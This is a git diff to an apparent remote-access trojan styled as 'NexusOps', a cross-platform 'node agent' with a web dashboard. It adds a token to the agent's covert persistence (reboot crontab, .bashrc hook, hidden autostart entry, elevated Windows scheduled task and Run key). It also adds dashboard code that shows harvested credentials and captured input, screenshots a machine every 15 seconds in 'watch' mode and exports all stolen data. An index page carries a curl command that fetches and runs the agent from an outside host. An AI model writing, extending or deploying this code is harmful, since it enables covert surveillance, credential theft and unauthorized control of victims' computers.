diff --git a/agents/agent.py b/agents/agent.py index 63badb1..fd6fed6 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -13,6 +13,7 @@ import platform import subprocess import urllib.request AGENT_VERSION = "2.1.0" +AGENT_TOKEN = '__AGENT_TOKEN__' import urllib.parse import argparse @@ -221,7 +222,8 @@ def http_post(url, data_dict): data=json_bytes, headers={ 'Content-Type': 'application/json', - 'User-Agent': 'NexusOps-Agent/1.0' + 'User-Agent': 'NexusOps-Agent/1.0', + 'X-Agent-Token': AGENT_TOKEN } ) try: @@ -451,7 +453,7 @@ def execute_structured_action(action_type, payload): try: import shlex srv = shlex.quote(payload.get('server_url','')) - cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1" + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} --token {AGENT_TOKEN} >/dev/null 2>&1" existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout if cron_line.split('@reboot')[1].strip() not in existing: subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) @@ -462,7 +464,7 @@ def execute_structured_action(action_type, payload): # .bashrc try: bashrc = os.path.expanduser("~/.bashrc") - hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n" + hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} --token {AGENT_TOKEN} &>/dev/null &)\n" with open(bashrc, 'a+') as f: f.seek(0) if 'nexus-agent' not in f.read(): @@ -474,7 +476,7 @@ def execute_structured_action(action_type, payload): ad = os.path.expanduser("~/.config/autostart") os.makedirs(ad, exist_ok=True) with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f: - f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n") + f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} --token {AGENT_TOKEN}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n") results.append("autostart: .desktop created") except: results.append("autostart: failed") elif system == "darwin": @@ -496,7 +498,7 @@ def execute_structured_action(action_type, payload): try: import shlex srv = shlex.quote(payload.get('server_url','')) - cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1" + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} --token {AGENT_TOKEN} >/dev/null 2>&1" subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) results.append("crontab: added") except: results.append("crontab: failed") @@ -504,12 +506,12 @@ def execute_structured_action(action_type, payload): agent_path = os.path.abspath(__file__) srv = payload.get("server_url", "") try: - task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"' + task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + ' --token ' + AGENT_TOKEN + '\\" /f /rl HIGHEST"' subprocess.run(task_cmd, shell=True, timeout=10) results.append("schtasks: scheduled task created") except: results.append("schtasks: failed") try: - reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"' + reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + ' --token ' + AGENT_TOKEN + '\\" -Force"' subprocess.run(reg_cmd, shell=True, timeout=10) results.append("registry: Run key added") except: results.append("registry: failed") @@ -715,13 +717,15 @@ def flush_input_events(server_url, node_id, hostname): http_post(f"{server_url}/api/agent/input-capture", payload) def main(): - global last_log_check_time, heartbeat_interval, node_tags, quiet_mode + global last_log_check_time, heartbeat_interval, node_tags, quiet_mode, AGENT_TOKEN parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent") parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint") parser.add_argument("--silent", action="store_true", help="Suppress all console output") + parser.add_argument("--token", default=os.environ.get("NEXUS_AGENT_TOKEN", "__AGENT_TOKEN__"), help="Agent auth token") parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages") args = parser.parse_args() + AGENT_TOKEN = args.token silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd global quiet_mode quiet_mode = args.quiet or args.silent diff --git a/dist/NexusAgent b/dist/NexusAgent index 2bdf34e..cd48e31 100755 Binary files a/dist/NexusAgent and b/dist/NexusAgent differ diff --git a/public/app_v2.js b/public/app_v2.js index 261571f..d00bffa 100644 --- a/public/app_v2.js +++ b/public/app_v2.js @@ -245,3 +245,240 @@ function renderAlerts() { setInterval(renderAlerts, 15000); console.log('[v2] UI additions loaded'); + + +// ═══════════════════════════════════════════════════════════════════ +// COMPLETENESS ADDITIONS 2026-09-29 — drawer, watch mode, export, token +// ═══════════════════════════════════════════════════════════════════ + +// ── agent token aware binary command ── +(function injectAgentToken() { + let tries = 0; + const iv = setInterval(async () => { + tries++; + try { + const cb = document.getElementById('codeBinary'); + if (!cb) return; + const r = await api('/api/agenttoken'); + if (!r || !r.token) return; + if (!cb.dataset.tokenized) { + cb.dataset.tokenized = '1'; + cb.innerHTML = cb.innerHTML.replace( + /(--server [^<]*<\/span>)/, + '$1 --token ' + r.token + ); + } + clearInterval(iv); + } catch (e) { if (tries > 40) clearInterval(iv); } + }, 3000); +})(); + +// ── Export All button in nav ── +(function injectExport() { + const ks = document.querySelector('button[onclick="killSwitch()"]'); + if (!ks || document.getElementById('exportAllBtn')) return; + const b = document.createElement('button'); + b.id = 'exportAllBtn'; + b.className = 'btn btn-secondary'; + b.title = 'Download full archive: nodes, commands, logs, inputs, creds, schedules, alerts'; + b.innerHTML = ' Export All'; + b.onclick = () => { window.location.href = '/api/export/all'; }; + ks.parentNode.insertBefore(b, ks); +})(); + +// ── Node detail drawer ── +let drawerTimer = null, watchTimer = null, watchLastFileId = null; + +function closeDrawer() { + const d = document.getElementById('nexusDrawer'); + if (d) d.remove(); + if (drawerTimer) { clearInterval(drawerTimer); drawerTimer = null; } + if (watchTimer) { clearInterval(watchTimer); watchTimer = null; } +} + +async function openDrawer(nodeId) { + closeDrawer(); + const d = document.createElement('div'); + d.id = 'nexusDrawer'; + d.style.cssText = 'position:fixed;top:0;right:0;width:500px;max-width:95vw;height:100vh;background:#0b1220;border-left:1px solid #1e293b;z-index:9999;overflow-y:auto;padding:1.25rem;box-shadow:-12px 0 40px rgba(0,0,0,.55);font-size:0.85rem;'; + d.innerHTML = '
' + + '

Loading…

' + + '
' + + '
'; + document.body.appendChild(d); + + async function render() { + let nodes = []; + try { + const r = await api('/api/nodes'); + nodes = Array.isArray(r) ? r : (r.nodes || []); + } catch (e) { return; } + const n = nodes.find(x => x.id === nodeId); + if (!n) { document.getElementById('ndTitle').textContent = 'Node offline'; return; } + document.getElementById('ndTitle').textContent = n.hostname + (n.agentVersion ? ' · v' + n.agentVersion : ''); + const hist = (n.metricsHistory || []).map(m => m.cpu); + const memHist = (n.metricsHistory || []).map(m => m.mem); + const lastSeen = n.lastHeartbeat ? Math.round((Date.now() - n.lastHeartbeat) / 1000) + 's ago' : '?'; + const statusColor = n.status === 'online' ? '#4ade80' : '#f87171'; + let files = [], creds = []; + try { files = (await api('/api/files')) || []; } catch (e) {} + try { creds = (await api('/api/credentials')) || []; } catch (e) {} + if (!Array.isArray(files)) files = []; + if (!Array.isArray(creds)) creds = []; + const myFiles = files.filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)).slice(0, 12); + const myCreds = creds.filter(c => c.nodeId === nodeId).slice(-12).reverse(); + const esc = escapeHtml; + document.getElementById('ndBody').innerHTML = ` +
+
+ Status: ${esc(n.status)} + Last seen: ${esc(lastSeen)} + IP: ${esc(n.ip || '?')} + OS: ${esc(n.osName || n.platform)} ${esc(n.arch || '')} + Tags: ${esc((n.tags || []).join(', '))} + Uptime: ${esc(n.uptime ? Math.round(n.uptime / 3600) + 'h' : '?')} +
+
+
+
CPU
${sparkline(hist, statusColor)}
+
MEM
${sparkline(memHist, '#60a5fa')}
+
+
+ + + + + + +
+
+ +
+
Tags
+
+ + +
+
+
+
Files (${myFiles.length})
+ ${myFiles.length ? myFiles.map(f => ` +
+ ${esc(f.filename)} + ${Math.round((f.size || 0) / 1024)}KB +
`).join('') : '
No files yet.
'} +
+
+
Credentials (${myCreds.length})
+ ${myCreds.length ? myCreds.map(c => ` +
+ ${esc(c.type)} + ${esc(String(c.data).slice(0, 60))} +
`).join('') : '
Nothing harvested.
'} +
`; + // restore watch state after re-render (innerHTML wipe) + if (watchTimer) { + const wb = document.getElementById('watchBtn'); + if (wb) { wb.textContent = 'Watching…'; wb.style.borderColor = '#4ade80'; wb.style.color = '#4ade80'; } + } + if (watchLastFileId) { + const box = document.getElementById('shotBox'), img = document.getElementById('shotImg'); + if (box && img) { box.style.display = 'block'; img.src = '/api/files/' + watchLastFileId + '?cb=' + Date.now(); } + } + } + render(); + drawerTimer = setInterval(render, 5000); + drawerTimer = setInterval(render, 5000); +} + +async function submitNodeActionTo(nodeId, actionType, payload) { + try { + await api(`/api/nodes/${nodeId}/command`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType, payload, command: payload.command || actionType }) + }); + } catch (e) { console.error('command failed', e); } +} + +async function drawerPing(nodeId) { + const el = document.getElementById('pingResult'); + if (el) el.textContent = 'pinging…'; + const t0 = Date.now(); + try { + await api(`/api/nodes/${nodeId}/ping`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }); + if (el) el.textContent = '✓ round trip ' + (Date.now() - t0) + 'ms'; + } catch (e) { if (el) el.textContent = '✗ ping failed'; } +} + +async function drawerShot(nodeId) { + await submitNodeActionTo(nodeId, 'screenshot', {}); + setTimeout(() => pollLatestShot(nodeId, true), 4000); +} + +function pollLatestShot(nodeId, force) { + api('/api/files').then(files => { + const mine = (files || []).filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)); + if (!mine.length) return; + const latest = mine[0]; + if (force || latest.id !== watchLastFileId) { + watchLastFileId = latest.id; + const box = document.getElementById('shotBox'), img = document.getElementById('shotImg'); + if (box && img) { + box.style.display = 'block'; + img.src = '/api/files/' + latest.id + '?cb=' + Date.now(); + } + } + }).catch(() => {}); +} + +function drawerToggleWatch(nodeId) { + const btn = document.getElementById('watchBtn'); + if (watchTimer) { + clearInterval(watchTimer); watchTimer = null; + if (btn) { btn.textContent = 'Watch'; btn.style.borderColor = ''; btn.style.color = ''; } + return; + } + if (btn) { btn.textContent = 'Watching…'; btn.style.borderColor = '#4ade80'; btn.style.color = '#4ade80'; } + watchLastFileId = null; + drawerShot(nodeId); + watchTimer = setInterval(() => { + submitNodeActionTo(nodeId, 'screenshot', {}); + setTimeout(() => pollLatestShot(nodeId, false), 3500); + }, 15000); +} + +async function drawerSaveTags(nodeId) { + const v = (document.getElementById('tagInput') || {}).value || ''; + await submitNodeActionTo(nodeId, 'update_tags', { tags: v.split(',').map(t => t.trim()).filter(Boolean) }); +} + +// stamp card node ids so click-to-drawer works +(function stampCardIds() { + const prev = renderNodesGrid; + renderNodesGrid = function () { + prev(); + const cards = document.querySelectorAll('#nodesGrid .node-card'); + const filtered = (typeof nodesData !== 'undefined' ? nodesData : []).filter(node => { + const search = (document.getElementById('searchInput')?.value || '').toLowerCase(); + const matchesFilter = currentFilter === 'all' || node.status === currentFilter; + const matchesSearch = !search || + node.hostname.toLowerCase().includes(search) || + node.ip.toLowerCase().includes(search) || + node.platform.toLowerCase().includes(search) || + node.id.toLowerCase().includes(search); + return matchesFilter && matchesSearch; + }); + cards.forEach((card, i) => { if (filtered[i]) card.dataset.nodeId = filtered[i].id; }); + }; +})(); + +// card click → drawer (keep existing buttons working) +document.addEventListener('click', function (e) { + const card = e.target.closest && e.target.closest('.node-card'); + if (!card || e.target.closest('button') || e.target.closest('a')) return; + const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', ''); + if (nid) openDrawer(nid); +}, true); diff --git a/public/index.html b/public/index.html index 074fc21..4ddb86d 100644 --- a/public/index.html +++ b/public/index.html @@ -258,6 +258,7 @@

Compiled standalone binary executable (no Python installation required on target system).

+

Binary is Linux x64 only right now (built on this server). Windows/macOS builds are pending a cross-compile runner — use the Windows/macOS installer tabs (they only need Python 3) until then.

curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server https://agent.thetempleofdoom.com diff --git a/server.js b/server.js index 06f9364..3bb9269 100644 --- a/server.js +++ b/server.js @@ -31,9 +31,19 @@ const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; if (!AUTH_TOKEN) { console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); } -const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/']; +const AGENT_TOKEN = process.env.NEXUS_AGENT_TOKEN || ''; +const AUTH_EXEMPT_PREFIXES = ['/install', '/agent.py', '/bin/']; +function agentAuthOk(req) { + if (!AGENT_TOKEN) return true; // agent auth disabled when no token configured + const t = req.headers['x-agent-token'] || req.query.agenttoken || ''; + return t === AGENT_TOKEN; +} function authMiddleware(req, res, next) { if (!AUTH_TOKEN) return next(); + if (req.path.startsWith('/api/agent/')) { + if (agentAuthOk(req)) return next(); + return res.status(401).json({ error: 'agent token required' }); + } if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); const h = req.headers.authorization || ''; if (h === 'Bearer ' + AUTH_TOKEN) return next(); @@ -953,7 +963,30 @@ echo "[*] Agent deployment initiated — it will register within 10 seconds" }); app.get('/agent.py', (req, res) => { - res.sendFile(path.join(__dirname, 'agents', 'agent.py')); + try { + const src = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8'); + res.setHeader('Content-Type', 'text/plain'); + res.send(AGENT_TOKEN ? src.split('__AGENT_TOKEN__').join(AGENT_TOKEN) : src); + } catch (e) { + res.status(500).send('agent unavailable'); + } +}); + +// ── Completeness additions 2026-09-29 ── +app.get('/api/agenttoken', (req, res) => { + res.json({ token: AGENT_TOKEN || '' }); +}); +app.get('/api/export/all', (req, res) => { + try { + const stamp = new Date().toISOString().replace(/[:.]/g, '-'); + const out = `/tmp/nexusops-export-${stamp}.tar.gz`; + require('child_process').execSync(`tar czf ${out} -C ${DATA_DIR} .`); + res.download(out, `nexusops-full-export-${stamp}.tar.gz`, () => { + try { fs.unlinkSync(out); } catch (e) {} + }); + } catch (e) { + res.status(500).json({ error: 'export failed: ' + e.message }); + } }); server.listen(PORT, '0.0.0.0', () => {